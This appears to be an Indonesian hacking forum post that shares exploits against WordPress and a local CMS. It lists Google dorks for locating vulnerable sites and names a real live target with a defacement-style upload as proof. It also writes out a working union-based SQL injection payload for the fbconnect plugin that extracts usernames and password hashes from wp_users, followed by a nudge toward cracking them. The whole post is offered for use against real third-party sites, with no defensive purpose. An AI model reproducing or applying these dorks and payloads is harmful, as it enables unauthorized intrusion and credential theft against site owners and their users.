Exploit Wordpress dengan upload-form.php

Dork: inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php

live target : http://stamford.mylocalevents.net/wp-con...d-form.php

Hasilnya : http://stamford.mylocalevents.net/wp-content/uploads/2012/04/sutul.txt

numayan buat ngarsip di indeves kak :)

hehe :)

[NEW] SQL INJECTION POWERED BY DIBEKASI.NET + ADMIN PAGE (NEW UPDATE)

################################################################################​#
title : powered by dibekasi.net SQLi vulner
author : bumble_be
contact : iogi89@ymail.com
web : bumble-be.us / linggau-haxor.com
################################################################################​########
dork : allinurl: page_info.php?id_brt=
vendor : dibekasi.net

Wordpress Blog Exploit connect to facebook

Dork: inurl:"fbconnect_action=myhome" 




entar agan2  bakal ketemu beberapa info admin di halaman tersebut...
trus ganti url webnya yang ini: ?fbconnect_action=myhome&userid=

menjadi seperti ini:

Code:

?fbconnect_action=myhome&fbuserid=1+and+1=2+union+ select+1,2,3,4,5,concat(user_login,0x3a,user_pass) z​0mbyak,7,8,9,10,11,12+from+wp_users-- 

liat, kamu sukses inject, nah sekarang masalahnya, bagaimana kamu crack itu hash password